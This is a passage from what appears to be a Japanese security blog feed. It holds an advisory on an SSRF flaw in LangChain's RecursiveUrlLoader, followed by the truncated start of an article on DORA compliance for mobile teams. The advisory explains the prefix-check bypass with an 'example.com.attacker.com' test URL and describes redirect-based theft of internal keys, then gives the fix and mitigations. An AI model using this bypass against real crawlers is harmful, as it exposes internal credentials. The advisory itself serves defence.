&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;400&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"url param required"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`\n&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="s2"&gt;"="&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`[*] Crawl requested for: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`[*] prevent&lt;/span&gt;
&lt;span class="sb"&gt;Outside: true`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="s2"&gt;"="&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RecursiveUrlLoader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="s2"&gt;"@langchain/community/document_loaders/web/recursive_url"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compiledConvert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;wordwrap&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;loader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RecursiveUrlLoader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;maxDepth&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;preventOutside&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;extractor&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compiledConvert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;                                     &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="ステップ4:悪用とデータの持ち出し"&gt;ステップ4：悪用とデータの持ち出し&lt;/h3&gt;
&lt;p&gt;正規のドキュメントサイトに対してクロールリクエストが行われると、次の連鎖が実行されます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;リンクの発見：クローラーは正規のページを解析し、攻撃者が注入したURLを含むすべてのリンクを発見します。&lt;/li&gt;
&lt;li&gt;検証のバイパス：注入されたリンクは、ベースURL文字列で始まっているため、startsWith()のチェックを通過します。&lt;/li&gt;
&lt;li&gt;リダイレクトの連鎖：クローラーはそのリンクをたどって攻撃者のサーバーに到達し、サーバーは内部サービスへの301リダイレクトで応答します。&lt;/li&gt;
&lt;li&gt;データの露出：クローラーはリダイレクトをたどって内部リソースを取得し、クロール結果の中で機微なデータ（APIキー、トークン、ARN）を返します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-02-23_cve_2026_26019/Pasted image 20260224144214.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;攻撃者はSSRF脆弱性をうまく利用して内部ネットワークのアセットにアクセスし、機微な認証情報を持ち出すことに成功しました。しかも、そのすべてが公開ページ上の単一の注入リンクを通じて行われました。&lt;/p&gt;
&lt;h2 id="langchain recursiveurlloaderにおけるcve-2026-26019の修正方法"&gt;LangChain RecursiveUrlLoaderにおけるCVE-2026-26019の修正方法&lt;/h2&gt;
&lt;p&gt;環境を保護する最も効果的な方法は、&lt;strong&gt;@langchain/community&lt;/strong&gt;をバージョン1.1.14以降に更新することです。この修正では、単純なstartsWith()プレフィックスチェックが、URL APIを使った厳格なオリジン比較に置き換えられています。&lt;/p&gt;
&lt;h3 id="修正済みコードの解析"&gt;修正済みコードの解析&lt;/h3&gt;
&lt;p&gt;パッチ適用版では、ドメインの境界を正しく分離するオリジンベースの検証が導入され、サフィックス付きドメインによるバイパスを防いでいます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// BEFORE (vulnerable): raw string prefix match const isAllowed = !this.preventOutside ||&lt;/span&gt;
&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="c1"&gt;// AFTER (fixed): strict origin comparison via URL API const&lt;/span&gt;
&lt;span class="nx"&gt;isAllowed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preventOutside&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;パッチ適用版の次のテストケースは、この修正を実証しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"blocks cross-origin URLs with preventOutside"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// The key test: verify that subdomain-based SSRF bypasses are blocked&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.com"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;maliciousUrl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.com.attacker.com"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// The old vulnerable code would have allowed this:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// "https://example.com.attacker.com".startsWith("https://example.com") === true&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;vulnerableCheck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;maliciousUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;vulnerableCheck&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;toBe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// vulnerable approach allows this&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// But the fixed code should reject it:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// new URL(maliciousUrl).origin !== new URL(baseUrl).origin&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;secureCheck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;maliciousUrl&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;secureCheck&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;toBe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// secure approach blocks this&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="cve-2026-26019の緩和策とベストプラクティス"&gt;CVE-2026-26019の緩和策とベストプラクティス&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;今すぐ更新する：Webクロールに@langchain/communityを使っている場合は、バージョン1.1.14以降になっていることを確認してください。&lt;/li&gt;
&lt;li&gt;プレフィックスではなくオリジンを検証する：ドメインを比較する際は、文字列プレフィックス照合ではなく、常に適切なURLパース（例：new URL(link).origin）を使ってください。&lt;/li&gt;
&lt;li&gt;ネットワークのセグメンテーション：Webクロールを実行するサービスが、内部のメタデータエンドポイントや機微なインフラに直接到達できないようにしてください。&lt;/li&gt;
&lt;li&gt;エグレスフィルタリング：ネットワークレベルで許可リストまたは拒否リストを適用し、クロールサービスからの外向きリクエストを安全だと分かっている宛先に制限してください。&lt;/li&gt;
&lt;li&gt;入力のサニタイズ：クロールされる可能性が高いページ上のユーザー生成コンテンツをサニタイズし、外部リンクをレンダリングする前に除去または検証してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="参考文献"&gt;参考文献&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Github advisory GHSA-gf3v-fwqg-4vh7&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/advisories/GHSA-gf3v-fwqg-4vh7"&gt;https://github.com/advisories/GHSA-gf3v-fwqg-4vh7&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;LangChain Fix Changes&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/langchain-ai/langchainjs/commit/d5e3db0d01ab321ec70a875805b2f74aefdadf9d"&gt;https://github.com/langchain-ai/langchainjs/commit/d5e3db0d01ab321ec70a875805b2f74aefdadf9d&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;NVD&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-26019"&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-26019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CWE-918 SSRF&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://cwe.mitre.org/data/definitions/918.html"&gt;https://cwe.mitre.org/data/definitions/918.html&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="Security"/><category term="CVE"/><category term="SSRF"/><category term="cve-news"/><category term="vulnerability"/></entry><entry><title>モバイルチームのためのDORAコンプライアンス：スコープと実際にやるべきことを理解する</title><link href="https://blog.ostorlab.co/ja/understanding-dora-compliance-for-mobile-teams.html" rel="alternate"/><published>2026-03-03T11:00:00+01:00</published><updated>2026-09-28T00:00:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-03-03:/ja/understanding-dora-compliance-for-mobile-teams.html</id><summary type="html">&lt;p&gt;BFSIチーム向けに、DORA規制とDORAコンプライアンスをモバイルファーストで解説するガイドです。スコープの定め方、リリースプロセスの簡素化、不要なコンプライアンス作業を生む落とし穴の避け方を学べます。&lt;/p&gt;</summary><content type="html">&lt;h2 id="doraコンプライアンス・シリーズの紹介"&gt;&lt;strong&gt;DORAコンプライアンス・シリーズの紹介&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;DORA規制&lt;/strong&gt;は、モバイルチームにもっともな問いを投げかけます。これはiOSとAndroidのデリバリーにとって、実際には何を意味するのか、という問いです。&lt;/p&gt;
&lt;p&gt;本シリーズは、この問いに実践的な観点から答える4回シリーズです。規制の深掘りも理論もありません。モバイルチームとAppSecチーム、そしてそれを統括するリーダーにとって機能する、モバイルファーストの&lt;strong&gt;DORAコンプライアンス&lt;/strong&gt;へのアプローチだけをお届けします。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第1回&lt;/strong&gt;：スコープと実際にやるべきことを理解する &lt;em&gt;（本記事）&lt;/em&gt; &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第2回&lt;/strong&gt;：モバイルリリースのための最も簡単なベースライン、判定、例外のモデル  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第3回&lt;/strong&gt;：BFSIのモバイルジャーニーのための最もシンプルなレジリエンス訓練ライブラリ  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第4回&lt;/strong&gt;：サードパーティリスク、SDKガバナンス、監査に耐えるエビデンスパック
&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;p&gt;&lt;br/&gt;&lt;br/&gt;
銀行・金融サービス・保険（BFSI）のモバイルアプリを構築または保護しているなら、コンプライアンスと現代のエンジニアリングが出会う「楽しい」部分はすでにご存じでしょう。自社アプリは、製品であり、セキュリティ境界であり、カスタマーサポートの問い合わせを引き寄せる存在であり、依存関係の収集場所でもあります。そのすべてを同時に担っています。&lt;/p&gt;
&lt;p&gt;そこに登場するのが、&lt;strong&gt;デジタル・オペレーショナル・レジリエンス法（DORA）規制&lt;/strong&gt;です。そしてすぐ後に、たいていは期限とスプレッドシートを伴って、&lt;strong&gt;DORAコンプライアンス&lt;/strong&gt;という言葉がやってきます。&lt;/p&gt;
&lt;p&gt;本記事は、実践的な視点を保つためのモバイルファーストのガイドです。厳密なモバイルスコープを定義し、DORAをモバイルの文脈に当てはめ、モバイルチームと意思決定者の双方にとって機能するシンプルな運用モデルにたどり着きます。&lt;/p&gt;
&lt;p&gt;すべての議論を、モバイルチームが常に指し示すただ一つのもの、&lt;strong&gt;リリース&lt;/strong&gt;に結び付けて進めます。&lt;/p&gt;
&lt;p&gt;では、そもそもなぜこれほど苦痛に感じるのでしょうか。&lt;/p&gt;
&lt;h2 id="doraがモバイルチームとappsecチームにとって苦痛に感じられる理由"&gt;DORAがモバイルチームとAppSecチームにとって苦痛に感じられる理由&lt;/h2&gt;
&lt;p&gt;DORAが苦痛に感じられることが多いのは、それがコンプライアンスの形をした問題としてやってくる一方で、モバイルの仕事はリリースの形をしているからです。モバイルチームは、アプリのバージョン、ビルド番号、ロールアウト計画、重要なジャーニー、インシデント対応のプレイブックという単位で考えます。コンプライアンスの要求は、多くの場合「Xを証明せよ」という形で現れ、XがiOSとAndroidにとって何を意味するのかは明確にされません。&lt;/p&gt;
&lt;p&gt;さらに、モバイルのリスクがモバイルのコードだけにあることはまれであるため、事態は複雑になります。モバイルのジャーニーは、IDサービス、OTPの遅延、プッシュ通知の配信、バックエンドAPI、不正検知、リモート設定のエラー、サードパーティプロバイダーの障害によって失敗する可能性があります。要件に「レジリエンスを確保すること」とあれば、モバイルチームが最初に問うのは「正確には何のレジリエンスで、どのように測定するのか」です。&lt;/p&gt;
&lt;p&gt;苦痛を減らす最もシンプルな方法は、DORAと戦うことではありません。DORA規制を自社が実際に責任を持てるモバイルスコープに翻訳し、リリースごとに再現可能なエビデンスを生み出すことで、DORAコンプライアンスを日常業務にすることです。&lt;/p&gt;
&lt;p&gt;では、規制の読書会にしてしまわずに、DORAを平易な言葉で説明するとどうなるでしょうか。&lt;/p&gt;
&lt;h2 id="平易な言葉で見るdora、モバイルの現実への翻訳"&gt;平易な言葉で見るDORA、モバイルの現実への翻訳&lt;/h2&gt;
&lt;p&gt;大まかに言えば、&lt;strong&gt;DORA規制&lt;/strong&gt;は組織を2つの成果へと向かわせようとしています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 混乱の最中も含め、デジタルサービスを安全に稼働させ続ける。&lt;/strong&gt;&lt;br/&gt;
&lt;strong&gt;2. その能力を、再現可能で検証可能なエビデンスによって実証する。&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;モバイルチームにとっての「デジタルサービス」とは、アプリのバイナリだけでなく、エンドツーエンドのモバイル体験です。自社アプリは、IDと認証、バックエンドAPI、OTPとプッシュ通知、不正・リスクシステム、決済サービス、そしてアプリ内に同梱されたサードパーティSDKに依存しています。&lt;/p&gt;
&lt;p&gt;DORAをモバイルファーストで翻訳すると、次のようになります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ICTリスク管理&lt;/strong&gt;は、明確なオーナーを伴うモバイルリリース管理策のベースラインを定めます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インシデントへの備え&lt;/strong&gt;は、バージョンを考慮した影響評価、タイムライン、そして無理なく組み立てられるエビデンスパックを求めます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オペレーショナル・レジリエンス・テスト&lt;/strong&gt;は、単発のテストだけでなく、重要なモバイルジャーニーの訓練を実施します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ICTサードパーティリスク&lt;/strong&gt;は、重要なジャーニーを壊し得る、組み込みSDKと実行時プロバイダーのガバナンスを対象とします。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;継続的改善&lt;/strong&gt;は、インシデントと訓練によって管理策、監視、ランブックが更新されるループを生み出します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらを一貫して行えば、「単なる」書類作業をしているのではありません。DORAコンプライアンスを支えるモバイルの運用モデルを構築していることになります。&lt;/p&gt;
&lt;h2 id="「モバイルdoraスコープ」を1ページで定義する(含まれるもの、含まれないもの)"&gt;「モバイルDORAスコープ」を1ページで定義する（含まれるもの、含まれないもの）&lt;/h2&gt;
&lt;p&gt;スコープを明確にすることが、コンプライアンス対応の手戻りを減らす最速の方法です。以下は、モバイルチームが担うべき&lt;strong&gt;DORAコンプライアンス&lt;/strong&gt;作業の、厳密かつ実践的なスコープです。&lt;/p&gt;
&lt;h3 id="モバイルチームのスコープに含まれるもの"&gt;モバイルチームのスコープに含まれるもの&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;出荷するモバイルリリースの成果物&lt;/strong&gt;&lt;br/&gt;
  特定のバージョンとビルド番号に紐付いた、iOSのIPAと、AndroidのAABまたはAPK  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リリースプロセスのエビデンス&lt;/strong&gt;&lt;br/&gt;
  ビルドの来歴、署名、承認、そしてリリース候補に対してどのチェックが実行されたかの記録  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;組み込みのサードパーティSDKとライブラリ&lt;/strong&gt;&lt;br/&gt;
  アプリに何が含まれているか、前回のリリースから何が変わったか、誰がそれを承認したか  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重要なモバイルジャーニーに影響する実行時の依存関係&lt;/strong&gt;&lt;br/&gt;
  IDと認証、バックエンドAPI、OTPとプッシュ通知、不正・リスクシステム、決済、リモート設定、フィーチャーフラグ  &lt;/li&gt;
